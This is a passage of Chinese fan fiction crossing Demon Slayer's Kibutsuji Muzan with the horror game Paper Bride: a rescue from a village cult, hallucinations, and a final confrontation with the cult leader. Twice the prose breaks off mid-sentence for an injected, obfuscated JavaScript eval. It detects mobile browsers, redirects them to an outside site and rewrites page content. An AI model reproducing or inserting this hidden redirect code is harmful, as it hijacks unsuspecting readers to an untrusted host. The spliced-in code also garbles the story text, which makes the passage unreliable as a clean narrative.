“不像是普通的阴天,从这里往那边,氛围都很压抑。”无惨看了看天,又看向通往村落的小路。连他都这么评价的话,这地方估计确实有邪乎东西。 我揉揉鼻子,刚才一开车门就闻到一股奇怪的香味,像是什么花香,但比我认识的任何一种花都要更怪,甚至可以说有些过于齁甜的气味了,闻久了还有点不舒服。 难道这就是那个论坛说的那种彼岸花?这味道会不会太奇怪了点。 “你闻到花香了吗?”我转头问他。 “很浓郁的奇异香味,闻着有些令人不快……但我确定这不是紫藤花的气味。” 不是紫藤花,但也能让他感到不快的气味,我心中不免有些发毛。 游戏系统有任务指引,偶尔能打开看一眼,现在指引的方向就是继续深入这个在地图上连名字都没有小村子。村口还有些纸张烧过的痕迹,淡淡的焦味混在花香中,我突然想起来最近的日子是农历七月。 手机没有信号,只能从日历上看见今天是中元节。 真叫人头皮发麻。 “这和你买的那些东西一样,有什么意义吗?”鬼舞辻无惨站在我身后低头看着地上未烧干净的纸片。 我起身离地上的灰烬远些:“习俗罢了,烧纸钱可以让死去的人收到,到了现代就也有烧纸制物品也能送到那边的说法。” “你们还信这个?人死后要么成佛去转世,要么就下地狱,就算这纸钱真的能烧过去,真以为能用得上吗?”他不屑地笑笑。 我告诉他这也是某种精神寄托。“而且总有些孤魂野鬼不愿去投胎的,或者因为什么原因,徘徊在人间的。哎呀,我还是更偏向于唯物主义者啦,只能说在这个系统任务里面不知道会是什么作品带这些东西,所以还是先准备了,稍微有点敬畏之心。” “我可是千年来从未见过这些玩意,世人口中的神明多半也是个不管事的昏庸者。敬畏?呵,我倒看看这村子里面有什么东西。”他说着就跨过村口继续向里走了。 哦,对,他确实没见过。尽管原作的后日谈彩蛋中说无惨去了最深的阿鼻地狱,但现在的他是在决战后直接接触游戏系统并重生的,自然是不会认同那套说法。 也挺好的,毕竟天国和地狱的标准在那边有些过于儿戏了,鬼这样的生物根本就不该拿人的善恶标准去评判生前功过。 我从那包纸钱里拿出一小把,在村口的纸灰旁边找了个空点了,看着那几个纸元宝烧完后快步赶上了无惨。 算来我也根本不懂玄学和民俗,只是求个心理安慰了。 这条路直直贯通整个村子,道路两边的房屋看起来还是有人生活居住的痕迹,只是无论哪里都有些破败,几栋房屋的色调都有些过于暗淡了。但诡异的是,周围的房屋上都挂了红彩带,像是有什么人要结婚。 可谁会在这种日子结婚? 而且不知为何走进来的过程中没有见过一个村民,周围安静得可怕。 “七月半,嫁新娘,亲朋好友哭断肠……”一些孩子的声音传入耳中,藕断丝连地唱着一曲童谣,“纸做嫁衣身上穿,往后不再见情郎。” 我全身的寒毛倒竖起来,下意识伸手抓住了无惨的袖口。 他当然也听见了这段不明不白的声音,正皱眉寻找声音来源,被我拉住袖子后看向我,语气笃定:“你认识这个。” 我木木地点点头,咽了口口水说:“是《纸嫁衣》……这里应该是奘铃村,我现在想起来了,大概是第二部的剧情,也不知道女主陶梦嫣现在在哪里。” 我心说果然是认知被系统阻碍了,之前还想不起来的内容,现在玩游戏看实况的回忆都涌入了脑海。我把《纸嫁衣》的故事大致讲给无惨,正寻思怎么解释她前世的故事时,迎面走过来一个有些佝偻的光头老人。 “我们这奘铃村可是山高路远之地,两位是来这,寻人还是观光啊?”他似乎努力表现出和善的模样,但又像是急着要去做什么事。 这个声音这个脸……好像是奘铃村的村长来着,而村长就是本作最大的敌人大巫贤。 我向前一步顺便把无惨往身后拉了拉,挡了些村长看向他的目光,对村长说:“我们是来找梦嫣的,她之前说这里是她小时候生活的家乡,邀请我们一起来玩。我们约好在村子里见面的,您看见她了吗?是绑着高马尾的姑娘。” 对方脸上闪过复杂的神情,很快又做出慈祥的模样,将路为我们让出来一些。 “原来是找梦嫣的,村子里正好在准备为她接风洗尘,她也正去休息了,我带你们去村里找间空屋给你们,晚些时候你们年轻人再聚。”他摸摸自己那没有头发的头顶。 这么说来陶梦嫣已经回到奘铃村了,多半是已经被他关在那间老宅里了,我想。 陶怼怼可是个能用物理手段解决就绝不屈服的性子,她自然会找出老宅的暗门并离开,但很快就会被抓回去举行献祭仪式。虽然这一部的结局还算不错,但一个晚上也确实挺折腾她的,之后她应该还去精神病院疗养了一段时间,后作里能看出来那段时间对她更是一种折磨。 我私心还是希望这对前世的苦命鸳鸯在今生能少受点苦。 毫无疑问这是会把我们卷进去的,但既然系统任务都指定到了这里,也没理由什么都不做。 我偷偷对无惨做了个噤声的手势,先跟着村长去了比较偏的一间平房。推开门,厚重的灰尘扑面而来,呛得人直咳嗽。 这哪是招待啊,他多半是怕我们扰乱仪式,想把我们关在这里。 村长说着我们好好休息等村里晚饭时叫我们便出去了,门外毫不意外地传来落锁声。 “那个人身上的气息很奇怪,虽然是人类,但……”无惨显然是没有在意这种没作用的门锁,他从窗口看出去,注视着村长离去的背影。 我直接告诉了他:“他会法术,这边信仰一个叫六葬菩萨的东西,跟传统佛教没什么关系,是奘铃村自己弄出来的一些歪门邪说。” 印象中大巫贤的法术是通过铃铛施展的,但我确实也不明白这葬老六的能耐究竟体现在什么地方。 算了,不要想了,当务之急是先去找陶梦嫣。 村子里的人都去准备仪式了,知道我和无惨存在的大约也只有村长一人,所以物理手段强行破门也不会太引人注目。 我指指锁上的老旧木门,问他:“能打开吗?我去找陶梦嫣。” “可以是可以,但你的计划难道是冲进那群人里,然后牺牲自己救出她?”他打量了一下木门,抬脚踢在门锁附近,又是一层灰落下,门外传来金属物落地的声音。 我说我又不是梁少平,没那个本事。 “我去陶家宅子那边看看,帮她早点出来的话说不定可以趁他们仪式还没准备好就逃走,这地方太邪乎了,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679141|173202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宜久留。”我打开一道门缝向外张望,确定没什么人后回头对无惨说,“你先留在这吧,那村长应该没意识到你是鬼,底牌总得留到最关键的时候出。” “这么说,你还把我当可以使唤的对象了?” “你是我最能信任的安全带。”我向他眨眨眼笑了一下,在他说什么之前钻出去关上了门。 我捡起地上的锁假装锁了回去,至少不细看应该看不出问题。 路边有些紫色的小花,奇香的来源就是它们,不过现在也不是思考花的时候。 我沿着来时的路向外走,想着办纸新娘的献祭仪式,那越靠近陶家的宅子,周围的红纸彩带会更多,便顺着周围的彩蛋一直走;事实证明我的尝试是对的,在村子里一片空空如也的房屋中,只有这一间是从外部锁上的。 陶家老宅有个暗门通向后山,但那里也早有村民看守,所以不能从那边走。同样趁着现在村民都在准备仪式,最安全的反而是破坏正门的锁并从这里离开。 或者……我也没必要打开这扇门。 目光瞥见了老宅主屋的窗户,奘铃村的房子都是老房子了,这窗户自然也不会坚固到哪里去。 但愿陶梦嫣不会怪我砸了她家的窗,我这样想着,从院子里抄起一根还算趁手的木柴,用力砸向窗口。玻璃上出现一道裂痕,随后在清脆的声音中破碎,我用那根木柴反复敲打了几次边缘,确保没有过于锐利的玻璃,向屋内喊道: “陶梦嫣!从窗户爬出来!” 周围不知为何响起一些孩童的笑声,我被这声音扰得头疼,捂住耳朵从窗边退开。 本作的女主陶梦嫣给窗口垫上几片布料,从屋内翻了出来,但我们还没来得及说上几句话,孩童的声音立马从笑声变成了呼喊。 “纸新娘要跑了!不能让纸新娘逃跑!” 混乱的童声顿时响彻整个村子,我顾不上心底发毛的感觉,拉起陶梦嫣就往外跑。 至少先把她送出去…… 脑后唐突挨了一闷棍,我无力地松开拉住她的手,摔了下去。 “陶梦嫣……快走,离开,奘铃村……” 闭眼前只看见村长已经穿上了大巫贤的那套衣服向这里走来,周围的所有村民也陆陆续续围了上来。 “良辰吉日已到——恭送纸新娘出嫁!” 我被村民们的呼声吵醒,只见陶梦嫣已经被绑在献祭的架子上,周围是奘铃村的所有村民。刚想起身,却发现我的双手被绳索束在了身后,他们不知为何没有在当时就杀了我,或是将我关到别处,而是带我来到这纸新娘的仪式现场,究竟是为了什么? 现在倒是不用太担心,梁少平化身的煞金刚会打断仪式,村民们发现庙里的葬老六雕像头被砍掉,大巫贤为了安抚众人就会扯谎明日办一天大宴再举行仪式,随后将陶梦嫣关进葬宫。 这段剧情没什么问题,即便我想提前带人离开也没有受到影响,想来也是我去得有些晚了,陶梦嫣已经把自家老宅中煞金刚的一部分封印解开了。 好吧,那么我只要等着他们把陶梦嫣关进葬宫,然后…… 等等,那我呢? 所以我到底为什么还在这里? 我跪坐在地上,看着那些村民重新回到仪式现场,大巫贤手中的铃摇出刺耳的声音,他边摇边念念有词:“外人闯入村中,破坏纸新娘仪式现场,理应斩首惩处。但葬尊传下旨意,饶恕你大不敬之罪,允你作为陪嫁丫头与纸新娘一同前往侍奉他老人家。” 啊? 在我反应过来之前,几个村民走过来架起我的胳膊,把我拖到了方才吊着陶梦嫣的架子上,用同样的方式将我捆了上去。 头脑昏昏沉沉的,虽然知道他们要做什么,但四肢完全使不上劲。那大巫贤手中的铃铛一摇,我只觉得浑身痛苦,可我明明也不是这奘铃村的人,不知道是不是那系统又给我安上了什么奇怪的设定。 好烦啊,这群搞邪教的家伙。 脑后的头发下面湿乎乎的,不知道是不是前面挨那闷棍受的伤。 几个村民拿着火把上前,火把靠近我的时候我倒还能感受到有些灼烫的温度。 “今日我等先为葬尊献上此女,愿葬尊息怒,宽恕我们未能办好纸新娘出嫁的仪式。” 有些模糊的视线中,火把上舞动的炽热逐渐靠近。 与其一同靠近的是……什么东西来着…… 是一张有着尖锐獠牙的血盆大口。 10. 第 10 章 那张狰狞的巨口比火把更快一步来到我面前,但那对獠牙并没有咬上我,反而是转瞬间把离我最近的两个村民连着火把一起吞下去了。 我的脑子确实是钝了,直到自己被人拎着衣领拖到一棵树旁坐好才缓缓反应过来都发生了什么。 “无惨……”我木木地喊了他的名字,他正站在我前面俯视着我,“你能用血鬼术了?” 对,那个兽口模样的东西是他血鬼术的一部分,这么说来刚才应该是他吃了两个村民后,借着那群人慌乱的时候把我捞出来了。 不用想也知道,大巫贤必定会想方设法用葬尊的幌子解释一切异象,所以他们没追过来也是情理之中。 但鬼舞辻无惨先抛给了我另一个问题:“比起这个,你怎么会像祭品一样挂在上面?” “这就有些复杂,我怀疑是我不好好解谜直接砸窗的行为惹到系统了,那些人打算把我也送到六葬菩萨那去。”我恢复了些力气,抬手探向脑后,摸到一些干涸的血痂。 头晕的感觉倒是减轻了,头上的伤应该不算特别严重。 他盯住我看了一会,突然俯下身向我伸手。 好奇怪…… 为什么他身上会出现日之呼吸留下的伤疤痕迹? 那只手的手心正中位置也裂开一张密布利齿的嘴,嘴里又是一颗血红的眼球直直看着我。 我下意识向后缩了缩,但身后本就是树桩,也没地方给我躲。 无惨将手放在我的额头上向后发力,让我再抬起点头直视他的双眼。 “你看见了什么?”他问我。 面前那张漂亮的脸突然从中间裂开,排布着数圈密密麻麻尖齿的猩红深渊几乎要将我吸进去,额前的力量变成了禁锢,似乎也拉着我向前去坠入那个深渊。 不不不,等一下,有哪里不对。 我闭上了眼睛。 “我看见的是幻觉吗?”我还是有些发怵。 他说没错。 我闭着眼睛深呼吸,再次睁开时,鬼舞辻无惨好好地站在我跟前。 他放开了扒住我额头的手,但或许是我盯着他的脸太久了,他不耐烦地“啧”了一声,说:“别看了,你已经从幻觉中醒了。” “还是这样好看。”我无力地笑了笑,告诉他自己看见他整个人变成了足够让我san值清空的样子。 他冷笑一声:“难怪,你刚才像在害怕什么,不过该夸你还算沉稳吗?没有大惊小怪引起不必要的麻烦。” 倒也不是。 我垂眸看看地上的杂草,几株略显败意的紫色花朵零星开在杂草中。 “只是因为还勉强知道是你。”我说,“是你的话,就不用担心任何事情了。” 无惨没有接我的话。他顺着我的目光看向地上的花草,直起身之前摘了一朵用手指将花瓣捻成粉末。 “哦……哦!”我看着他手中的花,才想起来自己有一个最关键的事没和他说,“这是冥陀兰,《纸嫁衣》系列作品中的一种花,看着确实是紫色彼岸花的样子,但它的效果是致幻。” “致幻?也就是说,你是因为它看到幻觉的。”他嗅了嗅手指上的粉末,在闻到过于浓厚的异香时皱了眉,但除此之外他似乎没看见什么幻觉。 我扶着树干站起来,大脑意识恢复后各个感官也逐渐从麻木状态缓过来,我现在对冥陀兰的香味也稍微习惯点了。“如果你真的想研究的话,带回去点看看能不能培育出青色的吧,不过效果不保证就是了。”我笑了笑,调侃道,“所以话说回来,你什么时候又能用血鬼术了?” 鬼舞辻无惨的目光放在手中的冥陀兰花上,他的目光轻轻扫过我,只是普通地眨了眨眼,说:“你看错了,我没有用血鬼术。” “嗯?你不是吃了那两个村民然后……” “只是击晕了他们,你看见我吃掉他们,大概是你已经受幻觉影响了。”他打断了我的话,直接帮我解释了前因后果,“血鬼术和血液转化依旧是不能用的,不要指望自己能什么努力都不做就坐享其成。” “好好知道啦。”我举起双手做投降状。 只是击晕了吗?当时的我居然看成了更血腥暴力的攻击方式,果然这冥陀兰花的致幻效果有些太强了,之后也得稍微注意一下分辨幻象了。 “行了,既然休息好了,说说你之后的打算吧。”他随手将那朵冥陀兰丢在一旁,看向村子的方向,“这件事说到底和你没有关系,我真搞不懂你为什么非得参与进去,还差点搭上了自己的命。现在,该少惹麻烦了,在外面等那小丫头自己解谜吧。” 好嘛,说是看看我的打算,其实他根本就没考虑过我的想法。 那这个时候就要勇敢拒绝他并提出自己的诉求。 “去葬宫看看吧,虽然陶梦嫣不用帮也能自己走出来,但奘铃村有一些东西要稍微处理一下,不然我良心上过不去。” 没想到之前买的小道具现在就能派上用场了,我心说希望这次自己能做得比之前更好些。 无惨说了句“你还觉得自己能谈良心”便让我带路去葬宫。 村里人都去准备大宴了,葬宫入口也是大巫贤控制的机关,自然是没人看守那边的。我记得《纸嫁衣3》里王娇彤有在那个入口的棋盘上用五子棋的路子赢了一盘没说明规则的棋局,不过那也并不是打开入口的方式,不被大巫贤发现的情况下,该怎么开那边呢…… 站在葬宫入口前,我和无惨都看到了旁边村中的葬尊庙,还有正对着庙门的六葬菩萨像——没有头的样子。 我没忍住笑了一声,在他说什么之前先摆了摆手给他指指棋盘:“这下面就是葬宫,就算没有控制机关,物理拆……”话说到这里顿住了,因为那葬宫的大门已经敞开,陡峭的石阶向下伸去,连通那个深黑不见底的地下空间。 葬宫已经被打开了?这样的话陶梦嫣就已经从里面出来,前往村里的六葬灵塔去寻找其他出口了。 差点忘记了,这奘铃村还有个邪乎的灵塔,这座还未建完的倒扣在地下的塔在第六部更是个关键情节。这么说的话在这里把灵塔里的东西再多破坏一点,是不是第六部里的老肖和小奚都能稍微轻松一些? 看向鬼舞辻无惨的时候,他脸上的五官又扭曲了一瞬,我眨眨眼重新看着他的脸。 “抱歉,没想到时间会过得这么快,我们去献祭纸新娘的架子那边找地下灵塔。”我边往那走边和他讲了这塔的事,他在听我说到这座塔根据奘铃村这邪教的风水倒着在地下修建的时候不屑地嗤笑一声。 彼时我们已经来到那棵老树的入口处,我抚上旁边还有不知何时留下焦黑痕迹的架子,问他:“很可笑对吧,这个村子,这样的事情都能深信不疑。” “是啊,尽管知道人类在信奉神明一事上往往愚昧无知,但没想到还能有更令人发笑的事。”他向那树上的洞口探头向下看去,目不斜视地回答我,“村长编出来一套自以为能自圆其说的话,那些村民居然还真的能相信。” “他说要烧了我当纸新娘的陪嫁丫头的时候,我真的挺想笑的,如果不是我真的被绑在那边。”好吧,这种恐怖游戏只有通过自己的第一视角经历过了才知道其中氛围有多吓人,至少当时的我确实笑不出来。 下到灵塔内,暂时还找不到陶梦嫣的身影,不过现有的几层里数个机关和石门都被人破解了,想来也是她一路探索走到更深的地方了。 那我们也应该往下继续走……话虽如此,因为不知道陶梦嫣现在在什么位置,我就先带着无惨走到了现在能到达的最深一层,在阴冷的石室内看着那两盏通红的灯笼,门口又是一对阴童子像时,我不负众望地后悔没有听他的留在上面了。 卧槽尼玛好吓人啊这个场景!知道这门后就是真经殿,在最后进去之前都不会遇到前来阻拦的敌人,但沉浸式体验这个氛围也太难顶了,之前万圣节的游乐园联动主题鬼屋与眼前的景象相比实在是有些逊色了。 “我……可以拉着你吗?”我有些冒昧地问了无惨。 他难以置信地看看我,又看看周围。“你之前和我反复狡辩了两次,说自己胆子挺大的。”他单手叉腰笑得恶劣。 “是挺大的,我没骗你,只是看着这场景我有点不舒服。可能是幻觉。对!幻觉,这下面也有冥陀兰的。所以是不能拉着你吗?”我转过了身不再看那对阴童子,这样感觉稍微好一些。 “如果我说不能,你是打算命令我,还是想像犬狗那样摇尾巴撒娇?” 不能就不能,小气。 我愤愤不平地看着他,最终拿出手机擦擦屏幕上的尘土。手机屏在经历了前面一系列事后屏幕上多出一道裂痕,但不影响使用;奘铃村里没有信号,但这种情况是在我还没想起作品之前就有考虑到的“经典荒郊野岭无信号”情况,所以也不是很麻烦。 我打开了音乐软件,顿时六葬灵塔的真经殿门前回荡起了激昂的音乐。 “听那新征程号角吹——响——强军目标……” 手机正播放着提前下载好的本地音乐,我和无惨相视无言。 末了,他的目光从我手机上移开,看着我的双眼开口道:“你真是脑子有问题。” “怎么了怎么了,恐怖环境放点军歌壮胆嘛。”我抗议了一下,在准备继续说点什么缓和气氛的时候,陶梦嫣从楼梯上走了下来。 她看见我,露出有些惊喜的神情,快步下楼跑到我身边,上下打量着我:“你逃出来了?有没有受伤?村子的出口都被守住了,我在这里找其他能出去的路,顺便还有一些事要做,得好好‘感谢’一下村长和这个村子。” “我没事,那老登神神叨叨的,大概也就是用铃声配合冥陀兰花香致幻的效果,对大脑进行刺激。论法术,他应该没什么真本事。”我看着这个和我年纪相仿的女孩子,无论是前世还是今生,她都经历了太多本不该承受的痛苦,但她还是这样坚强地走过来了,是那个物理驱鬼第一人的陶怼怼。 我心说自己确实喜欢她的故事。 我看她看着旁边研究六葬宝石的鬼舞辻无惨有些疑惑,便嘴里跑了个火车跟她说:“是他救的我,我们算认识,你就当他是……法力高超的仙人。” 此话一出,他们两人都用异样的眼神看着我。 “什么仙人啊,你怎么也信他们那些……等等,说起来我都没问过你的名字,为什么你会知道我叫什么啊?”陶梦嫣说到这里,我也才想起来自己前面太着急,什么都没和她说。 我挠挠头:“叫我白夜就好。至于为什么我会认识你,就当我也会预言吧。” “又是预言?你明明看着也是跟我差不多大的学生,能不能不要学他们总是预言来预言去的啊,那些都是骗人的东西,他们就想骗我去当那个纸新娘。” 陶梦嫣抱头面露难色,她确实被这些话术整得有点绷不住,但我也确实找不到合适的理由跟她解释自己了解她的故事,包括现在还不能告诉她的之后的事——其实也有游戏还没出到的、我确实不知道的续作情节。 虽然真的有点对不起她,但我只能用万能的预言来作理由了。 “你前世叫祝小红,前世的恋人梁少平为了救你被奘铃村的村民杀死、魂魄变成煞金刚,你已经让他的魂魄从封印中解脱了,对吗?”我故作神秘地笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679142|173202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑,用自己知道的游戏剧情扯了些话。 她往后退了几步,但很快又镇静下来反驳我:“你……你怎么真的知道啊!不对,你一定也是读了葬宫里的那些书,或者又是了解村子历史的,这些内容并不算真正的秘密。” 我有一点哽咽。 还真是那个原汁原味的陶怼怼,被这样怀疑反驳确实也有我自己的问题,接下来该怎么让她相信呢? 身后传来清脆的碎裂声,回头看去,鬼舞辻无惨拿着一颗碧绿的宝石对着通红的灯笼光线端详着。 话说,那个是从阴童子像的存钱罐中拿出来的吧,他这么短时间内就想出怎么打开那扇门了?而且还直接上手砸了罐子拿了宝石,尽管他也不急着把宝石放到门上的凹槽处。 我偷偷看了一眼阴童子像,那男孩模样的石像刚才还是笑眯眯的样子,现在诡异地睁开了眼,阴戾地瞪着无惨,而后者根本没把他当回事。 抢、抢小孩子东西啊…… “好吧,其实都是他告诉我的,我说了他是那种仙人的,他一路指引我来这里帮你摆脱奘铃村的梦魇。”我指向无惨继续对陶梦嫣跑火车。 陶梦嫣是似信非信的样子,而无惨把宝石放进门上的凹槽,冷着脸回了一句:“你在说什么胡话?” “他是傲娇,你信我。”我确实有点没脸去看身后无惨的表情,只真挚地看着面前的陶梦嫣,“我和他有些利益关系简单来说他帮我我帮他,然后这个利益也包括破坏这六葬菩萨的扯淡玩意,所以我就来这里了。” “呃……好吧,总之我们现在应该是目标一致的,从这塔里找出口出去,这真经殿里应该也放着他们的经书,破坏掉经书也算破坏村子那个莫名其妙的信仰。” 很好,她理解了,我甚是满意。 陶梦嫣从上面带下来了一个玻璃瓶,还有一把锤子,现在就差用锤子把玻璃瓶上的白色宝石敲下来、放到门上了。 我对着手指向无惨干笑两声:“你就当一下仙人吧,你看你都让她看见自己徒手砸碎那个罐子了。” “呵,仙人,那你打算给我上贡香火和贡品吗?”他似乎也并不怕被陶梦嫣听见,这也不难理解,对他来说那也只是个普通的人类学生,对他造不成威胁。 其实我也不知道她有没有听见,但她看上去是不打算细究无惨究竟是什么人了,干脆就坐实一下他“仙人”的身份得了吧。 “你要想的话我可以上贡,但贡品不好找,现在你面前只有一个。” “那这个就是在拿以次充好的把戏骗我,你的诚意就这点?” “怎么以次充好了,你怎么这样攻击我。” 话说回来,难道是幻觉的一部分吗?似乎他心情还不错,并没有自己话语中表现得那样不耐。而且他是不是对我的态度比之前好点了?我现在下意识用这种语气反驳他他也没骂我了。 “我觉得因为我喜欢的是你,而你又是世界上最完美的那个存在,所以我也是眼光好非常有品的人,如果你攻击我,就相当于否认我的一切包括眼光,那就算是在攻击你自己。我不允许任何人攻击鬼舞辻无惨。” 他难得笑了一声。 “这么说我还得感谢你?那你说说你想把我当什么仙人供起来?” “好问题,等我想好了告诉……” “呃,我是不是打扰你们了?” 循声看去,陶梦嫣拿着敲下来的最后一颗六葬宝石眨眨眼看着我和无惨。她另一手拿着那柄铁锤,看上去颇有杀人狂魔的感觉。 “话说,这位……仙人,他该不会也是小白你的什么,前世恋人这种存在吧?”大约是今晚她接收了太多自己身上因缘的信息,现在也这么问我们。 “不,不是那样的关系。”鬼舞辻无惨的恋人,想想就有点恶寒。 真的会有那样的存在吗?他不会对任何人有那样的情感的吧,最可能成为他恋人的应该是另一个他,但那个时候他们会不会互相斗个你死我活也不好说。 别开那种玩笑了,我只是喜欢他,成为恋人什么的还是太奇怪了。 陶梦嫣还是有些怀疑地在我和无惨之间来回看了看,越过我们去门上放宝石了。 无惨在我侧后方低低地说:“小白,听着真像狗的名字。” 差不多得了! “只是一种简称,简称懂吗?除非你愿意抱着那样的想法也这么喊我,我会好好叫两声给你听的,看看谁先把谁恶心到。”我好像修成了,现在完全免疫他的人身攻击并且还能反手给他犯个贱。 果然人做到不要脸才活得最自在。 他还没来得及说什么,真经殿的大门打开,幽深的通路前站着两个孩子。 “这倒是稀奇,是叫做阴魂吗?”无惨看向两个阴童子的时候表现出了些兴致,“不过你说那丫头已经帮他们解开了什么束缚,现在还在这里拦路,该说是小小年纪就有责任心,还是人类从小就如此贪心呢?” 走廊内灯光闪了闪,女孩消失了,只留下男孩站在那边。 “你抢了人家小孩的东西,他当然讨厌你。”我想到原作这边本该是陶梦嫣直接踢走这个阴童子,但现在他记恨的对象应该是无惨,那就有些意思了。 这位可是完全事不关己高高挂起,双手抱胸俯视着只到他腰间的阴童子魂魄,在他闭眼又睁眼的片刻,那双眼中的竖线瞳孔瞬间显现出来,直直瞪向那阴魂。 阴童子到底还是孩子心性,被他这一瞪也闪了闪身形离开了。 我实在没绷住轻轻拍了拍手,走到他身旁跟他说: “真的很擅长教育不听话的熊孩子啊,无惨大人。” 11. 第 11 章 “纸新娘,我早已预言到你会来真经殿,还有你那个外乡人朋友,虽然你请的那个孤魂野鬼可以帮你一时,但在这灵塔内,葬尊的法力可以发挥到最大,你们都不会是葬尊广大神通的对手!” 那大巫贤果然在这里。村里的出口都被堵住,为了防止纸新娘再像前世那样跳崖,山崖边肯定也是有人看守,那只有这里是最后的出口。 他要是推断不出这些他就真的该去测测智商了。 大巫贤命令村民上前擒住我们,但村民都被陶梦嫣手中的“不详之铃”吓得不敢轻举妄动,看了真叫人感慨迷信蒙眼就是这样的。 他们没有任何坚定的信仰,只是随了布下六葬菩萨邪教的人的话术,认为怎样做对村子好、怎样做对自己不好,到了这种时候,就变成了回旋镖打在那大巫贤自己身上。 气急败坏的大巫贤仍不愿就此作罢,摇动手中的铃铛念念有词,墙上那面六臂佛像的彩绘变成了一团活动的黑影。 “你真的觉得自己的命运能交给自己掌控?你注定要成为葬尊的纸新娘,这是你无法摆脱的命数,否则只会给所有人带来厄运!”声音从四面八方传来,分不清是大巫贤说的,还是来自于哪个不明的存在。 陶梦嫣一句句反驳那些话,摇着自己拿到的铃铛驱散了向她袭去的由黑影组成的手掌:“我是什么人,我自己说了算!生命的意义也是我们自己赋予的,才不是让你们这些装神弄鬼的人牵着走的!” 她向我使了个眼色,边回击着边脚下迈步向那个过于显眼的箱子走。那就是存放经书的箱子,见到真品后还真想吐槽他们就是这么对待自己“信仰”的六葬真经。 “白夜。”鬼舞辻无惨的声音响起,我转头看去,他将手搭在我肩上,阴阴地看着我,“你说过,会尽力帮我的对吧?” “诶?是……对,如果你想做什么的话,我会尽可能帮你。” 铃声变得有些失真,耳朵里像是进了水一样蒙了一层,但他的声音却毫无阻碍地把信息传递过来。 “那么,就是现在了。” 肩膀上的那只手举起覆上我的脸,我从指缝间看见他的身上自肩膀向下斜裂开一张巨口,什么都没想的我闭上眼睛,感受着他的手指渐渐发力。 脖子被掐住,有什么人从后方将我捞了过去。 “你又在发什么呆?不想活了就找个没人的地方安静地去死。” 身后靠上一个更坚实的胸膛,周围的声音重新变得清晰,这个时候我想起来方才一直都忘记了呼吸。 就像是从噩梦中醒来,胸腔剧烈起伏,我大口地吸着气,脖颈前的无惨的手移到我嘴前,阻止了我继续吸气的打算。 “你还想吸入更多混有那个冥陀兰花香的气体吗?给我清醒一点,实在想死出去之后我都可以帮你,傻站在那里算什么?”他低头看着我,等我的呼吸节奏平稳下来后推了我一把让我站好。 他上臂曲起手握成拳,砸碎了那面壁画,但其上的黑影仍在缓缓活动,他看见后皱了皱眉,抬手欲再次攻击。 梁少平的魂魄杀进真经殿,斩断了那黑影的三条手臂。 无惨放下了手,他的目光跟着被黑影甩飞出去的梁少平魂魄,也不知道在想什么。 那么,我刚才在干什么? 是大巫贤手中那个铃铛让我吸入的冥陀兰花的致幻香气又起作用了吗?但他在游戏中也只是让陶梦嫣受到那些幻影中言语的影响,在之后,这些幻觉也应该是与六葬菩萨相关的,到我这里怎么就变成鬼舞辻无惨了? 难懂,醒过来之后头愈发地疼痛难忍,早点结束吧。 我看着陶梦嫣走到箱子旁边,砸开了木箱,将燃着的蜡烛丢在上面,老旧的经书和木盒都是干燥存放的,一有火星就能烧起来。 “她、她烧了经书,快灭火!快灭火!葬尊会降罪给我们的!”在场的大巫贤和村民都一下子乱了阵脚,没人管陶梦嫣了。 “你,你们,对葬尊不敬之人,都会受到惩罚的!葬尊会让你们堕入地狱,永生永世不得安宁!”大巫贤指挥着人去灭火,抓起铃铛用力摇动,墙上的黑影又长出新的手臂,形状越发狰狞。 这又是哪一出啊? “游戏原作可没有这段了,他是真疯了?”我看着陶梦嫣困惑回头,对她说别管了先去开门,蹲下躲了一次黑影的攻击,“搞什么,经书都不管了,一定要拉我们下水。” 总不能因为我和无惨这点变数就让剧情变成这样,如果说《名侦探柯南》那边还有点说不清楚的时间问题、之后可能还有机会搞懂,那《纸嫁衣》这边我是真的和奘铃村一点关系都没有。 鬼舞辻无惨瞥了我一眼:“不过是个故弄玄虚的信徒,想那么多做什么,这么碍事的家伙直接除掉不就行了。” 他说的是对的,直接除掉…… 大巫贤用力摇着铃铛,大概是因为我吸入的花香比陶梦嫣更多,头实在是痛得厉害,哪怕还能清楚地知道身边的人是无惨,我也没法去看他现在的样子。 到底在做什么啊,这个老村长,信这六葬菩萨有什么好处? 道具可以拿出来用了,都到这个时候了,无论做什么都是正当防卫的一部分。 没错,正当防卫,而且我们马上也会脱离这部作品,后续的事情与我无关。 大巫贤,也就是村长,在经书被烧起来的时候已经摘下了自己的面具,他脸上的五官在铃声中扭曲,不过没关系了。 我要做的很简单,也可以说是个人恩怨,只是自己的一种泄愤罢了,为了游戏里的角色,也为了我自己不明不白挨的那一趟。 “陶梦嫣说得对,一千年前就该有人这么做了。”我看着火堆,周围的村民说是要灭火,其实也都只能看着烈火燃烧,“这个奘铃村,还有那葬老六,早就该消失了!” 我咬牙忍住头部的胀痛,伸手攥住了大巫贤手中的铃铛,让他无法继续摇动。 道具记得是可以直接在心底想着然后从储物空间拿出来的,只要这么想着……有了,一个细长的玻璃瓶出现在我手中,手心传来的重量十分真实。 我将铃铛从大巫贤手中夺下扔到一边,借着旁边的烛光点燃了塞在玻璃瓶口的助燃物。 “歪门邪道,祸害千年,你就当作今天这一切都是你的报应,下地狱之后向无常老爷给自己求情去吧。” 